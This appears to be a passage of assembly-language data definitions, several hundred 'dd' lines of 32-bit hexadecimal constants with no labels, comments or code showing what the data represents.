dd 8D97E843h, 0A7F0AE2Ch, 60D24458h, 1872DB76h, 19C3131Ah
dd 3020237h, 5AE91922h, 1AC0E10Ch, 0EEB4BA10h, 8D72D40Bh
dd 5C58608Ch, 0C1FB1848h, 0C03F90C4h, 8D615B0Ah, 0D70294CBh
dd 606D28F3h, 0C0EB679Ch, 0A5DE3549h, 30B669D2h, 900AF181h
dd 0A094BE1Bh, 0D732F89Dh, 9521CBD0h, 5C3D5BACh, 110E405Ch
dd 0D808E72h, 0E093F3A1h, 41D15C06h, 1618D73Fh, 3AAAF51Dh
dd 13623B8h, 57B37583h, 80C86C7Bh, 9A062440h, 0EBAD0004h
dd 57FF98BAh, 0B8009D9Bh, 8A8708AFh, 4FBD8E29h, 10C42E90h
dd 0E3C0CAFCh, 0F89D0B73h, 0AE012C90h, 685C3759h, 0B0476DE6h
dd 6A14E5F7h, 0D0F324C0h, 9EC7252h, 63BD70D2h, 2051B007h
dd 6FF8156Ch, 0B21F467Eh, 330F864Dh, 0DC926234h, 5C44681Fh
dd 0A7563058h, 4E25FD58h, 91A2400h, 0EB655AEFh, 982C5457h
dd 3C162A2Ah, 5E309EBCh
dd 1D6CEF52h, 0DE895581h, 6520E897h, 89BCB45Dh, 410A531h
dd 0B0B638B9h, 69872ED6h, 49F91824h, 5A16D70Fh, 30CB905Eh
dd 30CB6084h, 5D2EDF1h, 4B9D9404h, 59AC8280h, 0BE138890h
dd 0D50C7F0Fh, 2EC40011h, 134DF1ABh, 7EB0168h, 709C2068h
dd 0A71CB9Bh, 0FE855412h, 508DF044h, 7B48D4A4h, 40C30026h
dd 0F395BC19h, 6B30B570h, 92CB20DCh, 9E281407h, 0A5E12053h
dd 58BD18C5h, 21B8F0FAh, 1CB3F68Ch, 0B0250C7Ch, 621EB519h
dd 0CFB62407h, 3730A1C1h, 2457633h, 0BCE50F73h, 0B0816B81h
dd 243544EBh, 364F8E9Ch, 46ECB040h, 6866ACh, 6ED86B30h
dd 249DA529h, 0C52F3B00h, 0D46C463Ah, 71401E98h, 0F12B016Bh
dd 0F92D9943h, 2089921Bh, 0B080589Bh, 0F9DC43D7h, 6C403781h
dd 9BD04Ch, 0DA229651h, 17C23892h, 0A300E990h, 0E8E9A136h
dd 0BE9B21h, 85B38EC0h, 0F7260A50h, 8C092C73h, 846EFE75h
dd 0E2602928h, 0C47495B9h, 558E094h, 0B6B900CBh, 99F5B182h
dd 2815800Ah, 0C4DEB8h, 0B33C0ECFh, 24C44312h, 3E9A406Dh
dd 7BD79706h, 0AA04702Ah, 3EA4E5E7h, 0C21EF4C7h, 60584843h
dd 5980DDACh, 791DB041h, 0A2D0800Bh, 73CED70Ah, 85BB9ECFh
dd 0A84193ADh, 6CE1695Dh, 604C082Dh, 0C7032E23h, 0B5C428B9h
dd 0CFE86829h, 0C761CB9h, 0ACA540BAh, 8453FB61h, 72B8F251h
dd 21CBF190h, 141E4C0Ch, 0E7813A57h, 0EF974FC0h, 92DCD6E4h
dd 0C42A06F4h, 0B86F5491h, 110BF918h, 3ED59F71h, 25245BC7h
dd 7DD78F8Ch, 0EC65408Bh, 0AE6023E4h, 9403B0DFh, 0FC5F02Ch
dd 60788A93h, 484642F9h, 293A2435h, 0C09D6893h, 43FBC258h
dd 8F8302Eh, 0FB440EF6h, 0C8D6DFA7h, 93382844h, 6A0C1E01h
dd 0B89DE00h, 5D1B31Dh, 154C9550h, 33C8E17Bh, 0AC2B0194h
dd 460CD331h, 46E8F82Ch, 0F900CB43h, 24D566AAh, 0F0A19DE8h
dd 0A8306481h, 8E0C14Dh, 121DC645h, 0C0109AA4h, 2134B769h
dd 30BF00CBh, 0B275ACE8h, 782AEB71h, 0E496A40Bh, 57E504D6h
dd 0C06C5991h, 6AEC0338h, 0E1643630h, 0CADF41h, 0A590834Ah
dd 314735E4h, 0C450F04h, 493F124h, 482F983Fh, 0C8950019h
dd 0AE79BFA1h, 64BC1F2Bh, 0B5890A5h, 0DDF2408Dh, 43EB6206h
dd 0A0281EAEh, 806F19B4h, 3A240C79h, 2E02D859h, 50747F09h
dd 0E4940638h, 28655578h, 0A4B88A1Bh, 34CBA441h, 62C132C8h
dd 0A0F288E4h, 0E84373D8h, 79A0C10Ah, 200BF099h, 0B099FB0Ch
dd 2A80E991h, 5671BF82h, 924D0587h, 0CE81FF82h, 0B0340C54h
dd 9751C10Fh, 61E51FDDh, 1CC1C450h, 0C1C030BAh, 0FBD5732Eh
dd 9E1B7F32h, 77465E1Ch, 3CD33B05h, 0F9FB8312h, 504655E8h
dd 8080714Bh, 0B2C3B59Dh, 0BE2EEA0h, 2EC9F51Eh, 26118C1Dh
dd 7D9C3B80h, 0B80A43E6h, 0B444B7C1h, 54144A80h, 0F4DC1AC3h
dd 0F347097Dh, 884083A7h, 630A5725h, 0F4400E1Ch, 38253D11h
dd 7708D017h, 0B347602Bh, 8807F216h, 3139D721h, 6D8A2E31h
dd 49A0012Bh, 42D28CF4h, 0A0705EC4h, 7A0F8B13h, 39A20821h
dd 0A665B980h, 3B0B86F5h, 5C17087Eh, 0CC05A06Dh, 0D4B410F4h
dd 1C8F81Eh, 0E4B3AC1h, 0E005D103h, 55004358h, 0F19B52FAh
dd 4E294A14h, 5BC403F3h, 0D9500815h, 0D5409C38h, 981E007Eh
dd 0E14EAC25h, 9C93DE93h, 0ED4F305h, 109FA0C0h, 4608908Ah
dd 0ECB87AD5h, 16975872h, 30BBA084h, 0A4A500D2h, 0D7A25123h
dd 8349DD72h, 0BCAF0030h, 0FC15CC9Dh, 0DAA10B91h, 0DCE54650h
dd 1BCAEFE2h, 49D9EB88h, 5792C07h, 61274524h, 1890F084h
dd 0C28FE597h, 0BC824679h, 0B7150F9h, 1271AB18h, 0AA80D854h
dd 0D4178700h, 0D433941h, 58A5003Ch, 5D8D8A4Eh, 0D0BECF12h
dd 0CD465Eh, 0B7DDFE9Eh, 42E3E3Fh, 0B5487816h, 3BA02E8h
dd 79F8D9A1h, 0B0C81933h, 5E2007D3h, 5098C78Bh, 4DEBBFF4h
dd 79EC2995h, 4E4BA28h, 56088836h, 75C0C400h, 73A53495h
dd 0B22A2808h, 19146A4h, 758F0E95h, 0F0B6E66h, 410E3DB1h
dd 38EBF136h, 0BF14002Eh, 68584337h, 0F3F5EA04h, 8A42F694h
dd 946069C1h, 54A26765h, 53F35C80h, 28DEFD70h, 402CAFC3h
dd 4217DA75h, 5EB05E2Ch, 4C040C46h, 0F08FA7EBh, 8C069750h
dd 4194780Fh, 68450978h, 64806371h, 1012DD09h, 0A4C0272Fh
dd 98DB3834h, 6057B480h, 12041B5Dh, 0A2719F35h, 7E264C8h
dd 3FA6D7B5h, 81E911CFh, 0C42DD4BEh, 60ED6125h, 272A9BCCh
dd 68175B5Ah, 6ECB6188h, 0FF09C7C0h, 630E8B2Ch, 0F56FF5A3h
dd 24127080h, 0C82F761Bh, 9C05F223h, 0F080F413h, 48E21714h
dd 232E5CBBh, 762E8048h, 0A0B8E9Ah, 5F0063Eh, 57DA49ABh
dd 0BE3774F4h, 6CFC8038h, 25483DB2h, 0CD00BCFCh, 499404Bh
dd 12EE9A36h, 128E43F3h, 0F2D4E26Ch, 0BFAA30D2h, 0A2502401h
dd 4969686Eh, 0B94C104h, 736600CBh, 979FE40Fh, 3415F812h
dd 652B7708h, 52F6804Ch, 0FE021CA6h, 3B45FC03h, 9C985486h
dd 9B2C1779h, 24738000h, 9B6F5B9h, 0EAFB52E1h, 13446502h
dd 72A088E8h, 2CB82124h, 0F5519240h, 738803B9h, 2C33F010h
dd 9E31CEB8h, 9DCAA627h, 0CB548824h, 3BB58C60h, 55561F06h
dd 2C640140h, 68B09F0Dh, 80E5C1C8h, 43AE791h, 0A8990BF8h
dd 0DC8D2434h, 0BE7926DEh, 3C260000h, 6553D898h, 4898F84Ch
dd 9A0E122Dh, 3288A0CBh, 57ACC9C0h, 0EEBE0477h, 0BC7F270Ch
dd 0C0D90894h, 0AA00B9D5h, 51F363A5h, 0E06B242Dh, 0E4984519h
dd 0B940630Bh, 585A0A71h, 4002B6CBh, 8601D3Fh, 61E812D7h
dd 0A0602926h, 0F443CD02h, 0EFB480EAh, 92A518Ah, 0C56180FAh
dd 0A09F078h, 9DBA7416h, 2ED20864h, 3E7C5A6Ch, 95A67953h
dd 181E8BE0h, 43712C21h, 586500CBh, 5DD9CF41h, 92469A27h
dd 0EC7E5181h, 8D02D700h, 9748821Fh, 60F4F813h, 10A030E9h
dd 0C8FBEF58h, 0F18080D5h, 0B3C3CF30h, 47D21F14h, 8CD3EC24h
dd 0A2B07400h, 0AC24AB70h, 5E7B1660h, 8E4C342Eh, 0CB478490h
dd 0B8096337h, 3DC4388h, 0D6A5002h, 689D6BC6h, 0C59040h
dd 0EEEBF532h, 0BF66DE2Ah, 0D443A25Fh, 80C586FDh, 0F1CD82h
dd 0A9CE0A07h, 98A19B28h, 5020124Eh, 0B33B32h, 0CECF975Ah
dd 3CB2B818h, 79C5531Eh, 9BE59400h, 36C485Ch, 3740C4CDh
dd 0A827B2D2h, 114C1791h, 442D8063h, 58C8FB1Ah, 6D2F98A8h
dd 0B99D2080h, 0D95A6BC5h, 0FE3DC006h, 57F80559h, 0F5EA5548h
dd 0A8903D34h, 5BD11227h, 6578045Fh, 30CE1387h, 0E4381500h
dd 0D55F8E22h, 801FF53Ch, 0C5C81777h, 0F49F59ECh, 125B48A7h
dd 455A2500h, 0C7E96FEBh, 7C95282Eh, 5B2A0A04h, 23F220A2h
dd 107E330h, 2FA04513h, 0EC9D633Dh, 94305BF1h, 6731A81Dh
dd 85394F01h, 88AC8B78h, 0D48EC026h, 0DC04DEFBh, 0BFDA9DF6h
dd 0D51F80A2h, 438464EBh, 5E710562h, 0E040134Fh, 644AC156h
dd 999100B8h, 117EF6CBh, 58784F97h, 46020A13h, 63A2F8B3h
dd 55F4930h, 330CC2C9h, 2F2CE4B8h, 810E0700h, 0B7F73F2h
dd 0CF171341h, 5BBCF057h, 0EC40245Eh, 5AE23B65h, 0B474008Ah
dd 0EB6B61E4h, 0C6035F9Bh, 6801587Ch, 0F8199167h, 2F4A2422h
dd 2ED510E8h, 8DA476C1h, 0F7A87029h, 2FE39098h, 0A0D93413h
dd 0C7B1C072h, 0F50C21h, 62D1EF08h, 83B572CFh, 311AD72Dh
dd 87E9F788h, 0CA072078h, 0A6A7F372h, 0C01211D9h, 14E73609h
dd 0EFEEDBA0h, 25C29905h, 18809864h, 5B243FF4h, 388C8284h
dd 873B005Ah, 0B32D9640h
dd 782ED495h, 85000A23h, 684F6997h, 8597C5h, 978D050h
dd 2C4E228Dh, 6C23BC3Bh, 0C52A3203h, 3F08E09Bh, 16D37EE6h
dd 0C035815Ah, 0C8EBFBB4h, 3007034Bh, 0A93BFA3Bh, 67306D6Ch
dd 0DC66047h, 0B4A7E10h, 0D610043Eh, 0B513C02Eh, 1668827Bh
dd 0F0DF4FCh, 0FABE15BCh, 2F08585h, 51C4C3CBh, 0B200A3A5h
dd 0D55530F2h, 85249B09h, 3F0091FAh, 1471803Ch, 0ECC2D3C1h
dd 2E2D105Ch, 0C3C2B04Dh, 0F315E0DAh, 52A40ED1h, 0EF49D56Fh
dd 0A2B8B4C0h, 0B72D94B4h, 0F4440038h, 82AEABA5h, 56C16900h
dd 53B573A8h, 64255341h, 7EBC202Eh, 6A000746h, 72320FDDh
dd 90589A7Eh, 0E4074FB8h, 0D01B7981h, 0E1D4A028h, 1C649053h
dd 0AD83C71Fh, 2C436438h, 0BD0A6713h, 1CCE8C9Ah, 7CF212A9h
dd 0F0C0BD00h, 102B0F21h, 0C761038Ah, 36C36684h, 81C093BBh
dd 9B095BADh, 0F8F589C4h, 2D950050h, 0D9FE5C15h, 61C1FDC2h
dd 0FBD87FF7h, 690B096h, 317AB994h, 0CBB0CA25h, 882DF3F4h
dd 9739Bh, 0D9A1445Bh, 131A45E6h, 6C873D5Ah, 0FA6F2A71h
dd 63B87839h, 0C1007A7Eh, 0B480B74Eh, 9EBBA591h, 0A465E24h
dd 8419BA16h, 23202E24h, 87B31E24h, 0A351E040h, 0A1AF72C4h
dd 3D9912DDh, 3AACDCh, 3116158Bh, 0B89911F9h, 82014C91h
dd 64A8F18h, 48976020h, 9199044h, 2AA42146h, 1800586Bh
dd 8FE4B3E5h, 0D616884Eh, 0C9A9A0Dh, 5AF2CBC0h, 1609CF12h
dd 0D9A10291h, 22327874h, 0FA861286h, 0F1E8B249h, 590CCAEFh
dd 5045AD09h, 0D0B02095h, 731646A2h, 8B6F4A76h, 0C736C8E8h
dd 0D4A6707Bh, 9D02A546h, 102032ABh, 0B584478h, 0FB2649D9h
dd 0CFB3842h, 1304D6D0h, 91ACC60h, 0A802091Ch, 0D4C45B85h
dd 46566896h, 0A6270508h, 8287C670h, 9FBB87FEh, 4B232FEh
dd 3321D4F7h, 0BA84E05Bh, 0CC985Ch, 2B5AE1A4h, 1D80F457h
dd 9097A0B4h, 52B04CA6h, 13583921h, 263F00EBh, 9CD7784Ch
dd 9589003Ah, 0E469456Eh, 20FCB892h, 979ADE17h, 6E7A50E1h
dd 2C97022Ch, 40101446h, 0B1F049D4h, 1821F960h, 0A5D70117h
dd 7D72F257h, 2DE83497h, 0CD25A8B4h, 0F8C564A4h, 1A00DCA8h
dd 0FEA9A07h, 726C00AFh, 0EF63B425h, 9679D6B2h, 24FE3600h
dd 58C230ACh, 182704A5h, 0E0214878h, 2009FD88h, 0D8716846h
dd 9CC85328h, 0CCB46A1h, 0A12C00DCh, 0E6B97EC6h, 0C3004FBFh
dd 511ADFCEh, 3099DE13h, 7130C07Bh, 0FB4F250Bh, 8158D404h
dd 5BC3A8B0h, 0B27424C1h, 2B68B1A4h, 9C001E0Ch, 0E19F73E7h
dd 5FA5DC2h, 8D0F7475h, 78A8CD81h, 43DFAC30h, 259C022Eh
dd 5B906557h, 161A584Ch, 47EE4B05h, 98F9B7AFh, 0E6C06700h
dd 73C5190Dh, 0D66E6A00h, 8CDA58Dh, 0E712013Eh, 15553309h
dd 3AB4655Eh, 68B69452h, 0F35941E0h, 8B3CD700h, 0F63615B3h
dd 5E30F271h, 0D08457F0h, 0D4EB7328h, 0B08D1D40h, 0FC672D28h
dd 0E8825485h, 8C0BBC34h, 2D1F6A02h, 0D301A50Ah, 3FB51274h
dd 30723B0h, 9DE836BFh, 4665EDD8h, 27D0279Dh, 584050DBh
dd 0EC10943Fh, 9A311221h, 5B1240A2h, 37444970h, 8C0570F2h
dd 0E91347A5h, 0C3294A1h, 0FE3029F2h, 32FA0775h, 41F26E25h
dd 7AC94BC0h, 0BF9D8000h, 95BC7345h, 23114897h, 0EF0F9480h
dd 0D103B9FAh, 89B344EEh, 94A5F512h, 2C90DCh, 0EBBA35Ah
dd 9565746Ch, 0F5A68400h, 921D18EEh, 60F37970h, 5788F816h
dd 0A894FC8Dh, 51C3EC1Eh, 9BFDA26h, 0EA382ED1h, 0F3BB7820h
dd 500F2DEh, 0D42A5D96h, 1DB6093Fh, 0CB147DD8h, 0A0E85965h
dd 0BA4E7388h, 907F906Eh, 0D6901299h, 823CF3CCh, 1221F944h
dd 8360A4CDh, 6AEB9Eh, 3FE7C0D5h, 0FB435A25h, 9FB794E4h
dd 823011C4h, 0CCAE3155h, 73A016F8h, 0D5D86001h, 6E1E0AA2h
dd 0EB459B32h, 0B041EE3Ch, 6867070Bh, 0F63E7FE0h, 7ABF00A6h
dd 4AE9547h, 221FBC1Fh, 0CC630C6h, 97601B9Dh, 42ED2404h
dd 74A15857h, 0B5A50148h, 2D1AFD43h, 0CAD710F8h, 30369C84h
dd 2FCC8229h, 0BC169E73h, 82913E00h, 0E4C3656Bh, 0AD400037h
dd 0B279A825h, 5F732133h, 298A2E09h, 0F12080CEh, 629DDF0Ah
dd 4365412Fh, 0FD16C87Ah, 0A0905D80h, 83C8C75Bh, 0BC8C69D3h
dd 0C3C01694h, 82B0DCA7h, 723B32DAh, 9C318070h, 56D753E2h
dd 92B0E55h, 37608B34h, 85A760C1h, 2F57A307h, 47FE4135h
dd 2CC3AAE3h, 22F0BFDAh, 0FADCC227h, 65863E97h, 0D3F61061h
dd 0E0A03073h, 0D9ABD40Ch, 60FE08DFh, 0DC16202Bh, 9D0FFF73h
dd 20227F8Ch, 62676A0h, 0E76E3FC6h, 276DAE86h, 0FBFE781Ah
dd 0A6CB9F01h, 0BE912C56h, 0E633DC43h, 24C72C10h, 12B1000Bh
dd 0EAB42004h, 0E1300274h, 0FCF020BFh, 35900097h, 0A2547DE2h
dd 1E605059h, 4B145688h, 313A1E4Ch, 0CBD8404Dh, 9483AD21h
dd 2A0D2C00h, 4F1ED4F5h, 0C131C010h, 436A0A24h, 8EE6D100h
dd 0B83D7762h, 557631h, 3616CA87h, 3F5D9CC3h, 352EF605h
dd 0AA835814h, 279000AEh, 8D6ECDE2h, 0FF0EDC33h, 6243F34h
dd 21BA35h, 596EB5EBh, 95A1655Ch, 0A0576917h, 0BA245000h
dd 604EFD28h, 880C912Fh, 9801B96Dh, 0A162CAACh, 14D1CBF4h
dd 9FE32180h, 0D65A5E6Dh, 0CC7AF500h, 0FE835CF9h, 28A82433h
dd 636100AFh, 2FABA9C1h, 0BA535B77h, 2C0CA1E8h, 6000880Ch
dd 69FB5098h, 609211A1h, 9EF02059h, 0D1009B64h, 52F5D8C1h
dd 0DD7509h, 5B410589h, 34063B57h, 0E1A3A81Dh, 0BBCFDE00h
dd 5658091Eh, 0CB029CD3h, 6C33876Eh, 449C9888h, 0B3ED40C3h
dd 1DFB2A6Eh, 0C09CCC5Dh, 0B7911081h, 34008528h, 6DA6CD51h
dd 0C02F6003h, 0D7201740h, 0F1003276h, 0BD612B96h, 90580897h
dd 0D53207Ch, 9CEA290Ah, 840E8B5h, 275B347Dh, 95704B7Fh
dd 9ADC660Fh, 0A0CAA091h, 0D1A6CEh, 0FB2D0C88h, 0C17E31F5h
dd 28B0D700h, 0CCECE0A9h, 15DEB0C9h, 0B4A62BCEh, 573D680h
dd 1E87C871h, 0A4730017h, 565CC466h, 1207E10Ah, 41A880B4h
dd 93A6DD39h, 0C500CBC0h, 0BE0994EBh, 3C261857h, 0EE629B3h
dd 0FC817B03h, 0E82466D6h, 7BB876BAh, 0CAAD240Fh, 0D13429F0h
dd 68F1810h, 31A56A1Bh, 0D8A91921h, 1D0218A7h, 3AB1D797h
dd 0FAF6C0C2h, 3D9F97h, 45476485h, 0E16D6F04h, 72C8CC61h
dd 500662EBh, 0C0B61B18h, 984829D9h, 5AE93F20h, 0E5916783h
dd 28642893h, 8E60FBD0h, 9823CB6Dh, 290908BCh, 6DA5E500h
dd 1815EAAh, 5D604470h, 20DD0C0Fh, 4A01D99Ch, 187CCBAEh
dd 8186A77Fh, 61137195h, 0D1DA3930h, 75A6CF77h, 542E0075h
dd 0BAEB442Dh, 6E07617Ch, 0C381F438h, 0BE924090h, 294ACB0h
dd 0B1CEA525h, 0E019041Ah, 97FDF510h, 0E0203EEh, 32D7317Dh
dd 0FB8CA10Dh, 2989E5A2h, 0C42E8F3Ch, 5B40F00h, 630024E6h
dd 2DAF2E51h, 38A87ACFh, 2B932947h, 9DF049E9h, 18D660B9h
dd 8E6E08C8h, 0BBC4D433h, 6EB0E840h, 0EC9888E2h, 9512601h
dd 0C676DA7h, 57D4A821h, 48BA12A8h, 4BB40424h, 803F0F63h
dd 0F4441767h, 0ABE90262h, 54C0B4AAh, 18A59441h, 247308CDh
dd 0FFC2B06Fh, 8120042Bh, 0E0F1A7A4h, 41759F40h, 940DFA28h
dd 1D20A948h, 7C5221Ch, 9440D739h, 0E34EC865h, 0C4EA09h
dd 379AAF35h, 8FC6505Dh, 87482090h, 8370803Ch, 149BF590h
dd 0C33D7A2h, 0C9957104h, 585483BFh, 31026BC9h, 99A8206Ch
dd 73C9048Ch, 63D071F8h, 24C100F0h, 0BA7473D2h, 5C13D1A9h
dd 340021A3h, 0CF4272FBh
dd 0BC9151h, 79F0BB71h, 0BDE8A729h, 6F909800h, 68278753h
dd 60621295h, 34DC00FBh, 56CF1CEh, 26569100h, 1F37382Ah
dd 0E250A536h, 801B2C0Dh, 0CAB252h, 63B48F5Eh, 5D997D45h
dd 334CF4A4h, 5BC6C128h, 0AB71E998h, 575E7050h, 0FC0D4DC7h
dd 0B3C81849h, 0CBA51EC0h, 842248B1h, 97F6F2E0h, 0DAED0903h
dd 24D4F12Dh, 18206370h, 756FB156h, 0F88E4D31h, 9FF87FDEh
dd 38BE5378h, 5B30CEA2h, 877E00BBh, 690F9416h, 5476A9C6h
dd 1808C860h, 90746D6h, 0D4CC9D7Bh, 0B468080Ch, 97F9028Ch
dd 2FAB1CAh, 0E910DF19h, 360197D1h, 5811D57h, 0D180AA12h
dd 3DA679E8h, 0D426D9FEh, 0D44A4080h, 0BE80DC11h, 2433A06Eh
dd 2C098B1h, 90B26EA6h, 6CEA0F56h, 5BE13B82h, 30415980h
dd 58CA948h, 0B1C997F8h, 0F45828F2h, 9C97D00Eh, 0D5576053h
dd 4CB28196h, 84569CD1h, 0C801A423h, 0D8710373h, 19B01428h
dd 9D0573D1h, 0D012FB3Eh, 0C115E405h, 56DAA800h, 529635Fh
dd 0A45A734Bh, 0C8B4CB08h, 2F00C9BBh, 0C3E1A509h, 0BAB458CBh
dd 0C43C4584h, 2AE860F0h, 57B10C58h, 0F1F80CE3h, 0E22DA416h
dd 0A1B96030h, 993A0521h, 0CB041385h, 0E8084C48h, 0D7068CDFh
dd 331EA025h, 42ECA740h, 11182BFFh, 779800E0h, 0C8191ECEh
dd 4003D71Fh, 0CA0600Eh, 0A57B9042h, 0D0E069ADh, 0CE11F09Dh
dd 401CD594h, 0D1DA80D5h, 0AC581ABDh, 7B88CCABh, 0E490D0CDh
dd 32C1C98h, 120344E6h, 0A896D1A8h, 30041B46h, 16B9FC89h
dd 0ED005697h, 65A4DF8h, 0F8BF747Ch, 98D30ACCh, 80806393h
dd 0EB3D3128h, 92529C4Fh, 30E5B25Ch, 0ED90D4BDh, 0AEED7509h
dd 46A49657h, 73CC1FA0h, 1CB86F89h, 0D5250E70h, 82BC4273h
dd 9D7DB369h, 97ACB2h, 799EE211h, 144DE93h, 212EC4B8h
dd 8CB41027h, 0BCF9125Eh, 19B486A9h, 9FC2704h, 54D5418Dh
dd 152B9804h, 0A488DCD5h, 5AC08AC7h, 2E2EE036h, 51638858h
dd 55690027h, 8C5B3CD2h, 0E203083Fh, 9EB38238h, 39211725h
dd 5AD84032h, 2E4C6266h, 377A1704h, 3CD42221h, 0C8C8C88Bh
dd 10DA17C0h, 5D7300A1h, 20A585B7h, 0A9308B34h, 712FC8CEh
dd 0C03BEE93h, 7A0C388h, 6E0F7614h, 40E06917h, 75656B5Bh
dd 84A7501Dh, 0A920B13Eh, 0E48338A4h, 4269F14Ah, 38F2B8B8h
dd 0AEF270Ch, 0C0760828h, 863A4721h, 6F0099C2h, 52986556h
dd 4091C04Bh, 40089E7h, 711E2DEEh, 1D85CEEFh, 11CF0769h
dd 0F62700FBh, 0A29C1F2Dh, 726C18C8h, 8CE41844h, 0B24FD700h
dd 85EE9334h, 88F93A40h, 1033BD80h, 2AEB45FAh, 0FFC47501h
dd 444E751h, 6BBDAF8h, 0C3F337C2h, 4A7C48F2h, 45CC5B18h
dd 1C257359h, 463A99AEh, 194B647Ah, 21B8EC0Fh, 876F8634h
dd 0A62306E1h, 0D8FB5466h, 0EA02BC46h, 0CF712A2Dh, 51810131h
dd 522DF22Bh, 78F4436Ch, 85B33ACBh, 9DF05906h, 1FD0D17Ch
dd 300FF2E0h, 46CC3A08h, 0B82A91C0h, 6C041C8h, 0C7E865A6h
dd 313308AEh, 0E80720F3h, 3D60D1C8h, 0BB181A25h, 0D468F1ECh
dd 0EE38D90Ah, 4F0E9083h, 6A44C0A0h, 0C31DADBCh, 0EB8B6718h
dd 0AF57814h, 0C23FCEF8h, 3140F2B5h, 3748115Eh, 494E2C80h
dd 28AD8E11h, 5ADA3900h, 9934E574h, 92FB3D09h, 0F2E114F8h
dd 94806836h, 86C045C6h, 32226743h, 0C8BC0300h, 7730B282h
dd 5BBF0AEDh, 0AF4EF5Ch, 38246F6Ch, 0C89B6594h, 378B8703h
dd 0F900ED63h, 0EEA720D1h, 39081F67h, 8667247h, 0B00021F9h
dd 57FA738h, 252131Ch, 0B4E38B88h, 20436F27h, 1345023h
dd 67F3A721h, 88F81847h, 0A70139B1h, 7D03662Eh, 8A40B716h
dd 2A3253BCh, 46B0457Bh, 8463BF4h, 0C458F094h, 3E434075h
dd 0C9F01586h, 1003CE12h, 9D983D49h, 11C0CB64h, 4612746Bh
dd 297BEBh, 0B40AB161h, 47ACCDF8h, 8307E80Ch, 0C09150F1h
dd 0C8458959h, 0C160CE23h, 0A86D8A98h, 0C750C7FFh, 0F0C0433h
dd 6C30D8B9h, 0EF81326Eh, 0E497E0E8h, 49873191h, 4E7FE1A7h
dd 0E6D8478Dh, 4A2451C7h, 8008E815h, 386032F5h, 3AC8B630h
dd 6521C03Fh, 50B2B91h, 9487C8BEh, 0D7DB000Dh, 0A202E92Ch
dd 41EC6837h, 0F3704026h, 71EB61C5h, 60D6088Bh, 0C7260A70h
dd 3D810C4Bh, 8C6D7A36h, 6FEA1183h, 3E7179Ah, 71FECC46h
dd 0A27D3700h, 7535E2FBh, 0A09701BFh, 62ADBDA9h, 50C7E4F7h
dd 0C411CB0Eh, 2400B253h, 8C672AB8h, 0BCA24858h, 2168A840h
dd 3411F2FCh, 43C69280h, 448C96C0h, 0BA0F0130h, 0C0A99EC8h
dd 6A3C64F1h, 348E4D90h, 9BC28450h, 2DF0014Ch, 18FF7120h
dd 2921CEF8h, 0E0742DA0h, 0AC607C18h, 6F23EBECh, 604FC52h
dd 83EC72A2h, 0E89131E9h, 864B01D0h, 861DD200h, 60C7F03Eh
dd 0CA4A80C2h, 3A50DF98h, 552E69D0h, 0E714E368h, 64E4883Ch
dd 2DED60BBh, 0D771231Dh, 2E21FD18h, 172D01F5h, 0CC33BFE8h
dd 297420F9h, 0A43BD12Ah, 0FEAEC900h, 0D76ACDB6h, 1DC60071h
dd 41788060h, 0E80654BCh, 2EB1DC83h, 0D0F891A0h, 864AFFh
dd 25870F61h, 0FEFC10C3h, 9C20F498h, 0CDC70DCCh, 0FC30E67Ch
dd 0C9BF3E4h, 9384451Dh, 616250F0h, 863D4620h, 68FF0008h
dd 7023BD96h, 8099886Eh, 6518FB79h, 6F124302h, 40799394h
dd 3DC61B58h, 13039E8h, 94192971h, 3421F360h, 98F640B7h
dd 219890ECh, 3E11784Bh, 72A71B87h, 0FA311767h, 0A733AB10h
dd 0B32AD800h, 2528E531h, 5C851369h, 2BC04ACh, 29B5008Ah
dd 58F65B0Dh, 9D02678Ch, 2C133048h, 0ABCB881h, 0BFA9807Ah
dd 3722DC20h, 747D52h, 0F8F78435h, 0B2C53F5h, 42299FEFh
dd 8C3FA1C1h, 0C030ED46h, 22618E8h, 0DD8921F3h, 868E6016h
dd 25FDA021h, 914B9400h, 5005E2EAh, 0E154A58Fh, 2DC8D48Bh
dd 0B0ED40C0h, 0DE240004h, 9471881Dh, 0A4A083EFh, 7893180Dh
dd 3A6FA07Bh, 0BCA35D5Dh, 2906E9BCh, 0EEC10DDCh, 0EB6F4C19h
dd 4111F40Ah, 63A90F80h, 5D6923C0h, 0E171502Bh, 75F0197Bh
dd 40DE1403h, 23A1C5CDh, 0EC01BE80h, 0DF711C2Dh, 9C9F9823h
dd 1D7C80F4h, 15F97E48h, 70C7AC02h, 4E2DC9Dh, 0ED6CC2B5h
dd 0BEB14B20h, 0EB351215h, 22002007h, 0CB00C026h, 109E5ADCh
dd 95CD77h, 9C819B1h, 0EED2BD8Dh, 841D8F3Eh, 0E7883C0h
dd 9D7C78C0h, 40CA58D0h, 0BBC03988h, 46C03CC8h, 3322AEh
dd 15C8C30Ah, 7566924Dh, 48ED5830h, 28F6EFE7h, 0A09C3659h
dd 876A5794h, 2C60FBC4h, 409015B4h, 0A9F6CA13h, 0DBCE9C44h
dd 303BFC82h, 0EA11A71Ch, 0FC88FF67h, 0A700AFA8h, 0D9646D8Eh
dd 0EEE9F67h, 7A900FDAh, 0CC2360EBh, 3100E75Fh, 0F9DA04FDh
dd 2C91223h, 9E6D028Dh, 90E58873h, 4E60FAE4h, 2AE08B78h
dd 1064815Ch, 9025E7D4h, 4EC65810h, 571CC803h, 940A87FEh
dd 284888Eh, 58EF304Bh, 19DF01C4h, 828D3D6Eh, 33D820CAh
dd 0C6953B8Ch, 679EC088h, 0BD0458h, 56ACE6C8h, 0DDCC37B0h
dd 800F652Ah, 1F023A46h, 3767F1A7h, 0AF7CE49Ch, 2D14A702h
dd 0E5E13C48h, 6031E474h, 3B98530Ch, 22B94E9Eh, 6B3ABC85h
dd 91D0917Ah, 0C49050FAh, 5E0024EAh, 63D9F8BEh, 50BF619h
dd 10FE659Eh, 84FB1C17h, 842DC5D4h, 5B800224h, 94C1E98Ch
dd 494CCBC2h, 6B67100Ch, 0E4C87000h, 6E7A380Dh, 0C860745Ch
dd 0C8B9C037h, 0BE52C042h, 342264h, 0DC8C108h, 0A623FDDDh
dd 2585200Eh, 0D4652170h, 90AC1EB1h, 5D4308A0h, 24C81B0Bh
dd 0F4EF648h, 0C798EC9Ch
dd 0F0916143h, 88741860h, 86073B44h, 0D979B9BBh, 588DF382h
dd 0AC710488h, 2E75C87h, 818EDF4h, 907B05C4h, 508800F1h
dd 4C5BBEA7h, 3E10F761h, 0D0B94318h, 0F0AAC415h, 71770A18h
dd 0D9009925h, 0C9DF9433h, 0CA58FDh, 0C5158B3Fh, 6C0CB7ACh
dd 90887A0Bh, 1DDCAB1Ah, 4B213830h, 7C1BDD80h, 156DC964h
